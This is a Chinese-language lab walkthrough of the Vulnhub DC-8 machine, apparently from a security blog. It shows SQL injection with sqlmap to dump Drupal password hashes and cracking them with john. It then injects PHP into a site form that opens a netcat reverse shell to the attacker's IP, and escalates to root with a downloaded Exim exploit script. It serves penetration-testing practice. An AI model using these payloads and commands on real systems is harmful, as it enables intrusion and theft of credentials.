freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub--DC-8
2023-01-08 09:02:16
所属地 宁夏

Vulnhub--DC-8

一,部署方法

  1. 在官网上下载zip压缩包
  2. 下载到本地上解压缩后使用虚拟机导入.ova后缀的文件(在过程中出现问题不用理睬,点击重试即可)
  3. 配置网络,本人设置的是nat模式,这个看个人需求
  4. 打开靶机即可

二,靶机地址和描述

  1. 下载地址

https://www.vulnhub.com/entry/dc-8,367/

  1. 靶机描述

1673139295_63ba145f4b0c0573f066d.png!small?1673139297129

三,测试

1. 信息收集

arp-scan -l

扫描网段,寻找靶机地址

1673139302_63ba1466d2c8e21db54cc.png!small?1673139304778

攻击机地址是148,靶机地址为152.

使用nmap进行深度扫描

nmap -A -T4 -p- 192.168.237.152

1673139311_63ba146f7c37635220f00.png!small?1673139314095

发现开放了22端口,ssh服务和80端口,web服务。而且这个站点的CMS是drupal。

首先访问靶机的80端口。

1673139317_63ba1475dd32ec2a23ce4.png!small?1673139319627

浏览页面,进行尝试点击功能点,发现URL处有点意思

1673139325_63ba147d5cb10f066a560.png!small?1673139327042

进行点击不同功能点时,URL中的nid=的数字都在变化,怀疑存在SQL注入漏洞,在?nid=2后加上单引号’。观察页面。

1673139330_63ba1482357cb60d4de45.png!small?1673139331921

发现存在SQL注入漏洞。使用sqlmap直接爆破。

2. SQL注入漏洞

这里使用这个靶场详解一下sqlmap使用时的命令。

  • 爆破数据库

sqlmap -u "http://192.168.237.152/?nid=2" --dbs

1673139334_63ba1486f40964491ca7f.png!small?1673139336567

这里爆破出两个数据库

  • 爆破当前数据库

sqlmap -u "http://192.168.237.152/?nid=2" --current-db

1673139356_63ba149c282efb30d6b25.png!small?1673139358217

  • 爆破指定数据库的所有表名

sqlmap -u "http://192.168.237.152/?nid=2" -D d7db --tables

1673139366_63ba14a6467afa70eb429.png!small?1673139368059

1673139372_63ba14ac3af899bab935a.png!small?1673139374043

发现一个表名是users,怀疑在这个表里有用户的信息。

  • 爆破指定数据库指定表名中的所有列名

sqlmap -u "http://192.168.237.152/?nid=2" -D d7db -T users --columns

1673139383_63ba14b71d20b088b6498.png!small?1673139384892

存在name和pass的字段,怀疑这里存在用户名和密码。

(5)爆破字段

sqlmap -u "http://192.168.237.152/?nid=2" -D d7db -T users -C name,pass --dump

1673139391_63ba14bff353d6db46e56.png!small?1673139393695

这里发现用户名和密码,但是密码进行加密,使用kali自带工具john进行解密

3.john破解密码

将密码放入passwd.txt中

1673139397_63ba14c527b9111659546.png!small?1673139398877

使用john进行破解密码

1673139401_63ba14c922dba61e6e543.png!small?1673139402914

这里爆破出来一个密码,尝试在前端登录,发现是john用户的密码。

用户名/密码:john/turtle

4.后台账户密码登录

在前一步中找到账户和密码,这是发现没有后台登陆地址,这就是信息收集不到位的结果,希望小伙伴们不要犯小编的错误哦~

这时使用目录扫描工具对网站进行扫描

dirb http://192.168.237.152/1673139409_63ba14d1739e76ccc0eec.png!small?1673139411150

找到后台登录入口

1673139413_63ba14d56bd4a7a33b381.png!small?1673139415294

使用用户名和密码:john/turtle进行登录,成功登录

1673139417_63ba14d983417d9a86884.png!small?1673139419244

这时寻找功能点尝试进行getshell

5. Getshell

进行查看功能点中发现在Content下的Contact US页面可做修改

1673139423_63ba14df9c93526760905.png!small?1673139425350

这里尝试写入一句话木马进行反弹shell。

1673139428_63ba14e464c37418fdd85.png!small?1673139430032

1673139432_63ba14e8967d1c1b7f54f.png!small?1673139434644

写入:

<? php system(“nc -e /bin/sh 192.168.237.148 6666”); ?>

1673139443_63ba14f33cf766ec8a2f4.png!small?1673139444917

下滑点击save保存。

然后返回view界面,随便填写信息进行提交,同时在攻击机上进行监听

1673139448_63ba14f84e1e96004836f.png!small?1673139449910

1673139452_63ba14fcd455ce4d126c4.png!small?1673139454421

成功监听

1673139456_63ba1500e42dd9ec29964.png!small?1673139458552

进行交互式shell

python -c “import pty;pty.spawn(‘/bin/bash’)”

1673139463_63ba1507e5949263b1d7e.png!small?1673139465758

发现是最低权限,尝试进行suid提权

6. 提权

find / -perm -u=s -type f 2>/dev/null

查找suid提权的命令

1673139473_63ba1511976af23e37cbc.png!small?1673139475759

这里发现不属于本身的东西,exim4很有嫌疑,首先exim是一个MTA邮件传输代理服务器软件。这很可疑。

查看这个exim4的版本号

exim4 --version

1673139481_63ba1519e5a4ab972c084.png!small?1673139483655

在百度中搜索关于这个版本的相关信息,查找是否有可利用漏洞

1673139487_63ba151f6133ceee12b34.png!small?1673139489208

找到漏洞点,这里尝试使用kali自带的漏洞库进行搜索是否有匹配的漏洞利用模组。

searchspoit exim 4

1673139494_63ba1526ea0ee1e621d11.png!small?1673139496704

这里找到关于此版本的漏洞模组,将其复制到当前目录,命名为shell.sh

cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh

1673139503_63ba152f6bc7acb4638d7.png!small?1673139505045

将这个shell.sh移动到攻击机的/var/www/html的目录下,然后在靶机开放apache服务,再使用刚才反弹的shell,下载攻击机中的shell.sh文件。

1673139506_63ba1532f2ddf6b8ef989.png!small?1673139508584

这时在反弹的shell中下载攻击机中的shell.sh

1673139511_63ba15372c4cf8a1c2694.png!small?1673139512867

发现在当前目录无法下载,怀疑是否保存到/tmp目录中去,查看也没有存在

1673139516_63ba153c4839cd8ad950b.png!small?1673139517921

那不如在当前目录尝试下载

1673139519_63ba153f5b68a34bd9940.png!small?1673139521049

在当前目录下载成功。

查看shell.sh的权限情况

1673139523_63ba1543be51254de697d.png!small?1673139525330

发现shell脚本的权限较低,首先赋予脚本高权限,再运行。

chmod 777 shell.sh

1673139531_63ba154b006e5739de67d.png!small?1673139532744

成功赋予脚本权限,下一步就是执行脚本了

./shell.sh

1673139537_63ba15510ecea0cfb8633.png!small?1673139538721

发现执行失败,这时给我整蒙了,这咋回事呢,我从脚本文件处寻找答案。

经过长时间的网上冲浪,终于搞清楚原因了!!

原来这里的.sh脚本文件的格式为dos格式。而Linux系统只能解析执行unix格式脚本文件。这里就需要将dos格式转换为unix格式的脚本文件。或者是告诉Linux系统中的vim编辑器需要使用unix换行符,否则无法解析该文件。

这里需要在攻击机的/var/www/html目录下修改shell.sh的脚本,在其脚本文件最后添加:

:set ff=unix

告诉vim编辑器,必须使用换行符,否则无法执行该文件。修改完成后,重新在靶机中下载文件,赋予权限,执行脚本。

1673139558_63ba1566965748ce54905.png!small?1673139560239

在靶机下面删除原脚本文件

1673139562_63ba156a4e6fcb7068b02.png!small?1673139563957

重新下载脚本文件

1673139565_63ba156d951af2889b50a.png!small?1673139567391

赋予权限

1673139570_63ba15720dca8153548c6.png!small?1673139571950

执行脚本文件

1673139573_63ba1575caaf8432ec331.png!small?1673139575518

发现依旧无法执行,可能是小编这里重写文件失败或者是写入有问题,依旧无法执行。

这里小编再次懵掉,网上冲浪后发现可以使用命令直接替换结尾符为unix。

sed -i “s/\r//” shell.sh 或者 sed -i “s/^M//” shell.sh

1673139580_63ba157c51a8f1ff1ad44.png!small?1673139582238

成功提权。

1673139585_63ba15814640d3403ce11.png!small?1673139586937

7. 找到flag

1673139589_63ba1585e93bf132f9568.png!small?1673139591745

1673139593_63ba1589da34935e699d7.png!small?1673139595565

成功找到flag.

(这里提示一点,使用改exp提权成功后进入root用户下时,输入命令有时间限制,要是超出了时间限制就会结束链接,退出当前链接,你只能再次链接,小编连了好几次(哭脸))


四.总结

  1. 信息收集
  2. SQL注入(sqlmap的使用)
  3. john工具的使用
  4. 使用drupalCMS漏洞点进行getshell
  5. 使用89漏洞进行提权
  6. Dos格式转unix格式





# 渗透测试 # web安全 # 内网渗透 # 网络安全技术 # vulnhub靶机
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录